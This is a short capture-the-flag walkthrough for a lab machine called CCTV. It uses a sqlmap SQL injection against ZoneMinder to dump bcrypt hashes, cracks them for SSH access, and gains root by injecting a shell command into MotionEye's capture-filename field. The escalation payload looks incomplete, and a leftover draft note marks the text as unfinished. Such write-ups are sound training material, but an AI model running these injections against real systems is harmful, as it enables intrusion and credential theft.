CCTV writeup & walkthrough

ZoneMinder SQL injection to dump credentials, crack bcrypt hashes for SSH access, escalate via MotionEye filename command injection.

Enumeration

Add cctv.htb to /etc/hosts.

Foothold — ZoneMinder SQL Injection

ZoneMinder is running at http://cctv.htb/zm/. Default credentials admin:admin work.

The event request endpoint is vulnerable to SQL injection:

sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \
  --cookie='ZMSESSID=<your_session>' \
  --batch --dbms=mysql -D zm -T Users -C Name,Password --dump

Dump the Password column (bcrypt hashes) and crack with John:

john --wordlist=/usr/share/wordlists/rockyou.txt --fork=4 hashes.bcrypt

SSH in as mark:

ssh mark@$IP   # password: opensesame

Privilege Escalation — MotionEye RCE (CVE)

Note: There is an intended path via sa_mark before root — check with tcpdump before publishing.

Forward internal ports:

ssh -L 8554:127.0.0.1:8554 \
    -L 9081:127.0.0.1:9081 \
    -L 8888:127.0.0.1:8888 \
    -L 8765:127.0.0.1:8765 \
    -L 1935:127.0.0.1:1935 \
    mark@$IP

Read the MotionEye config for credentials:

cat /etc/motioneye/motion.conf

Browse to http://127.0.0.1:8765/ and log in. In MotionEye 0.43.1b4 the photo capture filename is passed to the shell unsanitised. Edit the filename field to:

cp /bin/bash /tmp/bash; /tmp/bash -s

Trigger a capture to get a root shell.